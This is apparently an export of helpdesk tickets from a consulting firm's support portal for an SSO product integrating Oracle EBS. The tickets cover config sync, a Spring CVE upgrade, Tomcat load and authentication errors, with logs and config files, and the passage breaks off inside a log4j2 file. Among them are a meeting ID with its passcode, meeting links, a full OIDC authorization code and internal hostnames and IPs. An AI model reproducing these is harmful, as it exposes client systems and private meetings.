Work in progress by Sindhuja & Team.

Hi Sriharsha Vala, We are closing this ticket and you can reopen the same if required. I hope the ticket has been resolved to your satisfaction. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1224> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1225

SUBJECT : HESAA - Authenion Sync Issues

PROBLEM DESCRIPTION : Although the Authenion Admin UI indicates a successful sync when applying configuration changes, the corresponding JSON configuration on the application server does not reflect the updates.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/tickets portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Sriharsha Vala, Greetings to you ! Our Dev team will look into this issue and get back to you.  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1225> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Synch issue is been tested by the client as per Roopika and wants the ticket to be kept open.

Hi Sriharsha Vala, Greetings to you ! We are closing this ticket, ?The same could be reopened if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1225> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1226

SUBJECT : spring-webmvc-5.3.21.jar vulnerability on EIK

PROBLEM DESCRIPTION : As per earlier ticket 1205 , We are getting the vulnerable report of the following file for EIK application, please advise to update to latest. Please let me know new version has been released to update and fins this vulnerability. cve-2024-38819 (<https://spring.io/security/cve-2024-38819>)"

/u01/eik/apache\_eikdr/webapps/EBSAuth/WEB-INF/lib/spring-webmvc-5.3.21.jar#

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1205> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Venkata Reddy, Greetings to you ! We will be uploading the new EIK 3.0 Binaries to the support portal. Send us a meeting invite and we will guide you through with the setup process. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1226> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, An update regarding the new version will be shared with you in the coming week. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1226> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Schedule the meeting on May 28th @10.30am EST Join the meeting now Meeting ID: 250 723 873 804 7 Passcode: Zi2VP6Yh

Hi Venkata Reddy, Greetings to you ! Sure, lets connect as scheduled. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1226> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

EIK 3.0 was deployed in test Env and Venkata was able to access EBS. However, we need to have the Start/Stop scripts for 3.0 Once tested and the Tomcat vulnerabilities have been cleared they will

be moving to Prod. This ticket will be kept open for a while for the client to do the testing.

Hi Venkata Reddy,(Rambabu) Kindly do the testing on EIK 3.0 and the Tomcat vulnerability and let us know. We will be updating you on the Start/Stop scripts as discussed. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1226> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Eik Ver 3.0 was tested in lower environment. User was able to login to EBS (Bill management) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1226> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1227

SUBJECT : DR Failback gets Error No handler found for GET

PROBLEM      DESCRIPTION      :      2025-05-23T12:28:06.528-0500      DEBUG      GET  
/EBSAuthSAND/handler?code=1.ARGAY4tv8-v1hUKskZGTe1Y2c9mkHb-PmS1Mkc03TU7P\_EFqA  
QAYAA.AgABBAIAAABVrSpeuWamRam2jAF1XRQEAwDs\_wUA9P8fDDXZpqrqe88YvHjlyO9UqGp  
9RLbRIzvhxjjZAYRQYkhl3gsNsH7eZpDUtlWhQYcfjzOBUZZ7ZSflcJOWgEcfcjTslrgFyH9YO8LPI4i  
7NOgeZLdi-2K\_paB1IHx1gbGAJzzKeRdlEz5eYeox2OnsCL90kgv1WvhRgDEOIDOs\_BYqiulr6iAXK  
gCJnXVhrhQi96Hp4Yn8VOJBRavfTbxADxGq\_qklQSgOp7y9ylz0LNokyr9H\_U\_TpiQ04upZKbS9QV  
xgWlaVzo2b1iR18ov8r--ihGKGC0XHFeIDAnKcn6TD1loCjvJqFj8iHnKppw2CVHdqWgzKxNVRHvN1  
JVLfSlcoQ586sto3hiSLpG3Y6iKTFoxvl\_fGHcoxJxuUio-a02anl3ZYDoqL8A6aU48Um1ZgwEayOi7T  
yYFMeqQBnK7VyUNMKEzMMGA62\_KljkaOf8l1lx8kxIhHueS2Ld8BfT0NcnN8vm4SaFGvVXfY-8fA  
oD5uA85K8eS1W19VNkwgpkJrcjaaH\_C0lxeA6IP6TkjSLRBQUQIYhejtX-SljAmfWIZ-5\_PVCA3W6a

EC06qS1a9acl-PDdGhOvtnUjNoOjoqv0WZftaNOlwcqZMzpTLALqoSVntVC5ghlleGBczRZwkKgR1o  
rsmUPYMckYtgfJGLrLZ214\_qpTW50Vv3Ho8H9gWvpHq0\_M8oakZDCD\_vCAGR4N\_9WQ3cbIOV  
3-EE75sa\_e2nEBcE7eVSmV9jCgV59WIDH5bz4\_-hm7u3bm0h3vwsIIxNSYhuVGOOr9c6VkwYoxait  
rE6aPl6aQfosrzJ4BwK\_\_O2bTX20vTK\_KybUTJ1PdFtSQwwwQMTzQtuTd9uzrSMhWjk7\_7nJmWZ  
QDdCSnFLjTtYyEulBt1nYazpHTANwqILEUhbDp0vX1zUrc\_fNoaJlyKS2t-iy9OL0TuQXsc56MsVx  
mgGBvcu1cidBvfSR-o6JOqlb1\_Uh7WBxicvaqzI9-OVBc2WP9FYhFPhut5j4RNIV89Vvk3eH7uxxCbt  
GA\_fkxwn5t0qglH\_a8XwXHTAU6H4AY10oU6KeA-9pYIA4BAY7oPAjzltl1LUCyF0Sq3ebZUhopDNK  
NoT8i\_-EJjup5w991x9O9oEnrWN6VQWy3oizM26S8BT\_M68t4HRN2T8mmqdvz6PNhMHtccliex-52  
0IFETP\_RuKUSPcaExuCodQDB1YC4kMZYgOJ2z6B75nsxfGFWae\_O9oKtep4px2n7L6gNTMGMD  
rYCbqPo4tyDXUUMyPEMwHj5Mlyf7giY03Fi3VQzsHw7oVlwtyLCE0wly3xI7deHPHcAMIKTLTTJZFj  
vb&state=eyJyZXF1cmxmbGFnljpmYWxzZSwicmVxdWVzdFVybCI6IkFQUFNIT01FUEFHRSIsImN  
vbnRleHRQYXRoljoiXC9FQINBdXR0U0FORCJ9&session\_state=004fd599-a637-95da-c74d-89a77  
2e2ec7d, client=10.32.12.30, headers=[host:"ssologiny.cheniere.com", connection:"keep-alive",  
cache-control:"max-age=0", upgrade-insecure-requests:"1", user-agent:"Mozilla/5.0 (Windows NT  
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",  
accept:"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/\*  
;q=0.8,application/signed-exchange;v=b3;q=0.7", sec-fetch-site:"cross-site",  
sec-fetch-mode:"navigate", sec-fetch-user:"?1", sec-fetch-dest:"document",  
sec-ch-ua:""Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99""  
sec-ch-ua-mobile:"?0", sec-ch-ua-platform:""Windows""", referer:"https://login.microsoftonline.com/",  
accept-encoding:"gzip, deflate, br, zstd", accept-language:"en-US,en;q=0.9", cookie:"masked"],  
response time=3 ms 2025-05-23T12:28:06.535-0500 WARN No mapping for GET  
/EBAuthSAND/APPSHOMEPAGE 2025-05-23T12:28:06.535-0500 ERROR No handler found for  
GET /EBAuthSAND/APPSHOMEPAGE  
org.springframework.web.servlet.NoHandlerFoundException: No handler found for GET  
/EBAuthSAND/APPSHOMEPAGE at

```
org.springframework.web.servlet.DispatcherServlet.noHandlerFound(DispatcherServlet.java:1282)
~[spring-webmvc-5.3.21.jar:5.3.21] at
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1045)
~[spring-webmvc-5.3.21.jar:5.3.21] at
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)
~[spring-webmvc-5.3.21.jar:5.3.21]
SOLUTION CONVERSATION : user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 seen_articles:
enterprise_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal_url:
https://support.likemindsconsulting.com/support/tickets/new
```

```
it EIK error after MS Entra authentication (MFA) was okay EIK error log
2025-05-23T12:28:06.535-0500 ERROR No handler found for GET
/EBSAuthSAND/APPSHOMEPAGE org.springframework.web.servlet.NoHandlerFoundException:
No handler found for GET /EBSAuthSAND/APPSHOMEPAGE at
org.springframework.web.servlet.DispatcherServlet.noHandlerFound(DispatcherServlet.java:1282)
~[spring-webmvc-5.3.21.jar:5.3.21] at
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1045)
~[spring-webmvc-5.3.21.jar:5.3.21] at
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)
~[spring-webmvc-5.3.21.jar:5.3.21] at
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)
~[spring-webmvc-5.3.21.jar:5.3.21] at
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)
```

~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:529)  
~[servlet-api.jar:4.0.FR] at  
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)  
~[spring-webmvc-5.3.21.jar:5.3.21] at javax.servlet.http.HttpServlet.service(HttpServlet.java:623)  
~[servlet-api.jar:4.0.FR] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:199)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.104] at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)  
~[tomcat-websocket.jar:9.0.104] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.104] at  
com.likeminds.ebsauth.processors.HttpProcessor.doFilterInternal(HttpProcessor.java:68)  
~[classes/:2.3.0.4-SNAPSHOT] at  
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354  
) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.104] at

org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:656)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)  
~[catalina.jar:9.0.104] at  
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)  
~[catalina.jar:9.0.104] at  
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:397)  
~[tomcat-coyote.jar:9.0.104] at  
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)  
~[tomcat-coyote.jar:9.0.104] at  
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:935)  
~[tomcat-coyote.jar:9.0.104] at  
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1792)  
~[tomcat-coyote.jar:9.0.104] at  
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)  
~[tomcat-coyote.jar:9.0.104] at



```
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1189)
~[tomcat-util.jar:9.0.104] at
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658)
~[tomcat-util.jar:9.0.104] at
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
~[tomcat-util.jar:9.0.104] at java.lang.Thread.run(Thread.java:1575) ~[?:?]
2025-05-23T12:28:06.536-0500 ERROR Request Origination 10.32.12.30
```

Hi Nara Alwar, Greetings to you ! Please try <https://ssologiny.cheniere.com/EBSAuthSAND/ssologin>  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1227> Regards, EIK Support  
Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this  
email. Visit the ticket link above to view or manage your tickets.-->

Attached EIK logs

Attached EIK logs

Hi Nara Alwar, Thank you for the logs, Lets try to look at the network side of things as the impact is  
only for the B2B users (external) Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1227> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Any update with this?

Hi Nara Alwar, Greetings to you, We suggest that you look into the EBS profile parameter

configurations and any Network changes. Following points: 1. Need to check EBS users network route 2. Check EIK\_HOME 3. Check EBSAuth context in all places 4. EBS Landing Page URL in config file may be incorrect 5. Internal users and B2B users should use same EBS Kindly let us know and we can have another call. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1227> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Will someone be available to continue troubleshoot this issue? Pls. send in meeting link. Thanks

Hi Nara Alwar, ?Can we connect tomorrow @9pm IST. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1227> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1228

SUBJECT : Renewal of Authenion License

PROBLEM DESCRIPTION : License of Authenion in our environment is about to expire, please provide the new license.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0

seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Greetings to you, Authenion license will be expiring on the 30th of June 2025. We shall get back to you once we get the conformation from our accounts officer. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1228> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Could you please provide an update on this?

TICKET DISPLAY ID : 1229

SUBJECT : EIK Server Tomcat 100%

PROBLEM DESCRIPTION : EIK Server Tomcat CPU spikes 100% Suggested to move to Tomcat ver 9.0.104

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2025-06-09 16:30:55 UTC

Hi Bradley Mclane, Greetings to you, We have created a ticket for our reference on the high utilization issue on Tomcat server. Suggest that you move to Tomcat ver 9.0.104 We will be closing this ticket. ?Please feel free to reopen the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1229> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1230

SUBJECT : Just in time provisioning SQL code

PROBLEM DESCRIPTION : We are trying to troubleshoot the user sync issue to EBS while user

authentication and JIT process to find the SQL code is called by JIT Let me know if we can join the call

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Venkata Reddy, Greetings to you ! Please send us a meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1230> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

<https://teams.microsoft.com/meet/212038777497?p=GlabWhjjmaoAfDdi6g>

Hi Venkata Reddy, ?As discussed, we will get back to you on the 3.0 JIT provisioning. 1.API call info to EBS 2.Location of JIT (JAR file) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1230> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

JIT Provisioner (CODE) was explained and provided to Venkata by Vikram (LMC) Venkata wanted us to keep the ticket open for a while.

Hi Venkata Reddy, We are closing this ticket, You could reopen the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1230> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

[ticket link above to view or manage your tickets.-->](#)

TICKET DISPLAY ID : 1231

SUBJECT : Using EIK 3.0.2 external user are not able to authenticate on

PROBLEM DESCRIPTION : Getting the following error while logging in to EBS External application authentication through EIK 3.0.1 Error Encountered Unfortunately, something has gone wrong. We're unable to fulfill your request. Rest assured we have been notified and are looking into the issue. Try again later. Reason: An authentication error has occurred, Please try again If issue persists, please contact technical support @ 1-800-269-6888 Reference Code: OIJC-LM-2065

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Venkata Reddy, Greetings to you, Can you please share the EIK Error and Debug logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1231> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

See the attached debug logs

Hi Venkata Reddy, Can you please check if the eik\_username attribute is mapped on the ping side. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1231> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

This was working fine before and not made any changed in ping side, any changes required in ping side to support new EIK version 3.0.1

Hi Venkata Reddy, Can please send us a meeting invite to have a look at this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1231> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

<https://teams.microsoft.com/meet/2287895918750?p=dVxb9YBEkWyBYfVxKm> Please join the call

Hi Venkata Reddy, Can you join please. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1231> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Reference ID is not passing from BSD SQM to Pingfed (Venkatesh/Vikram) They will check with the relevant teams if any updates took place on the PF and BSD side

Hi Venkata Reddy, Greetings to you ! We are closing this ticket, please feel free to open another if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1231> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1232

SUBJECT : EBSTEST is not accepting authentication

PROBLEM DESCRIPTION : I got error when connecting to EBS TEST environment. I have confirmed PingFederate completed authentication cycle and generate OIDC token.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Andrew Chan, Greetings to you ! This error relates to the user not found in the FND\_Table. (Make sure the user ID is present in FND) Please also provide us with the eik error and debug logs. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1232> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

error and debug log

Hi Andrew Chan, Also make sure the followings are correct : 1.Redirect url in EIKAuth.config file 2.Redirct url in ping side Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1232> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

The redirect URL seems to be correct however bouncing between sso-dev and webebsdev. This environment was working fine until EBS TEST performed a data clone.

# more EIKAuth.config # #Thu Feb 18 12:32:04 PST 2021 helpdeskMessage=<p>If issue persists,

please contact technical <a href="https://support.likemindsconsulting.com">support</a></p>  
ebs\_logout\_page=https\://sso-dev.lumentum.com/ext/logout scope=openid  
jwks\_validation\_url=https\://sso-dev.lumentum.com/pf/JWKS jwks\_connect\_timeout=3000  
ContextPath=/EBSAuthTEST  
logoPath=https\://likemindsconsulting.com/wp-content/uploads/2020/07/logo-1.png  
access\_type\_value=offline token\_endpoint\_url=https\://sso-dev.lumentum.com/as/token.oauth2  
authn\_attribute=eik\_username grant\_type=authorization\_code  
ebs\_landing\_page=https\://ebstest.dc.lumentuminc.net/OA\_HTML/OA.jsp?OAFunc\=OAHOMEPAG  
E approval\_prompt\_key=prompt issuer=https\://sso-dev.lumentum.com  
introspect\_url=https\://sso-dev.lumentum.com/as/introspect.oauth2 icx\_cookie\_path=  
auth\_type=OIDC icx\_cookie\_domain=dc.lumentuminc.net  
authentication\_server\_url=https\://sso-dev.lumentum.com/as/authorization.oauth2  
access\_type\_key=access\_type jit=false client\_id=XXXX  
redirect\_uri=https\://webbsdev.dc.lumentuminc.net/EBSAuthTEST/handler  
approval\_prompt\_value=login consent client\_secret=XXXX

Hi Andrew Chan, Thank you for the info, Can you please try re-generating the dbcx file since you have done a Data clone. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1232>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Andrew Chan, PFA is the Deployment documentation, We have also sent it in the email to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1232> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->



I have a copy of EIKutility.jar file. However I do not have EBSdatasource.jar file. Where can I get a copy of the jar file?

Hi Andrew Chan, Please click here to download the EBSdatasource.jar file. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1232> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Andrew Chan, PFA is the EBSdatasouce.jar file Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1232> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I am able to connect with the new DBCX file. You can close the case now. Thanks, Andrew Chan

Support team is really helpful and responsive.

DBCX was regenerated and the issue was fixed.

TICKET DISPLAY ID : 1233

SUBJECT : Using EIK 3.0.2 external user JIT is not working

PROBLEM DESCRIPTION : We are testing the EIK version 3.0.2 for external user authentication with JIT process not working, please find the attached screen shot if need we can have a call to troubleshoot the issue.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Venkata Reddy, Greetings to you. We will get back to you ASAP. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Can you please send us the eik-debug and error logs. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Please find attached debug logs files.

Hi Venkata Reddy, Is the JIT provisioning not happening for all users ? Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

I was testing for one user creation and tried to login to EBS through EIK authentication and getting  
this error and user is not getting provisioned to EBS while logging in to EBS External application.  
Thanks Venkata

Hi Venkata Reddy, Is it the same plugin that we provided ? Also the log4j.xml class name: should be

com.authenion and not com.authenion.sso Kindly let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

yes same plugin that you have provided

Hi Venkata Reddy, What about the log4j? Can you pl send us the log4j as well. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

```
[eikuser@aoc05eikilmnpi01 eik3]$ cat log4j2.xml <?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" monitorInterval="30"> <!-- Logging Properties --> <Properties>
<Property name="LOG_PATTERN">%d{yyyy-MM-dd'T'HH:mm:ss.SSSZ} %-5p [%t] [%c]
%m%n</Property>
name="LOG_LOCATION">${sys:EIK_INSTANCE_PATH}/log</Property>
name="ARCHIVE_LOCATION">${sys:EIK_INSTANCE_PATH}/log/archive</Property>
</Properties> <Appenders> <!-- File Appenders on need basis --> <RollingFile name="auditLog"
fileName="${LOG_LOCATION}/audit.log"
filePattern="${ARCHIVE_LOCATION}/audit.%d{yyyy-MM-dd}.log" ignoreExceptions="false">
<PatternLayout> <pattern>%d| %X{event}| %X{username}| %X{clientip} | %X{url}| %X{host}|
%X{status}| %X{description}| %X{event.status}| %X{response.time} %n</pattern> </PatternLayout>
<Policies> <SizeBasedTriggeringPolicy size="19500KB" /> </Policies> <DefaultRolloverStrategy
max="30"/>
</RollingFile>
<RollingFile name="debugLog"
fileName="${LOG_LOCATION}/eik-debug.log"
```

```

filePattern="${ARCHIVE_LOCATION}/eik-debug-%d{yyyy-MM-dd}-%i.log">      <LevelRangeFilter
minLevel="WARN"      maxLevel="TRACE"      onMatch="ACCEPT"      onMismatch="DENY"/>
<PatternLayout      pattern="${LOG_PATTERN}"/>      <Policies>      <SizeBasedTriggeringPolicy
size="19500KB" /> </Policies> <DefaultRolloverStrategy max="10"/> </RollingFile> <RollingFile
name="reqLog"      fileName="${LOG_LOCATION}/eik-request.log"
filePattern="${ARCHIVE_LOCATION}/eik-request-%d{yyyy-MM-dd}-%i.log"      >      <PatternLayout
pattern="${LOG_PATTERN}"/>      <Policies>      <SizeBasedTriggeringPolicy      size="19500KB"      />
</Policies> <DefaultRolloverStrategy max="10"/> </RollingFile> <RollingFile name="errorLog"
fileName="${LOG_LOCATION}/eik-error.log"
filePattern="${ARCHIVE_LOCATION}/eik-error-%d{yyyy-MM-dd}-%i.log"      >      <LevelRangeFilter
minLevel="FATAL"      maxLevel="ERROR"      onMatch="ACCEPT"      onMismatch="DENY"/>
<PatternLayout      pattern="${LOG_PATTERN}"/>      <Policies>      <SizeBasedTriggeringPolicy
size="19500KB" /> </Policies> <DefaultRolloverStrategy max="10"/> </RollingFile> </Appenders>
<Loggers> <Logger name="com.authenion.sso.ebsauth.audit.AuthenionAuditLogger" level="debug"
additivity="false" includeLocation="false"> <appender-ref ref="auditLog" /> </Logger> <Logger
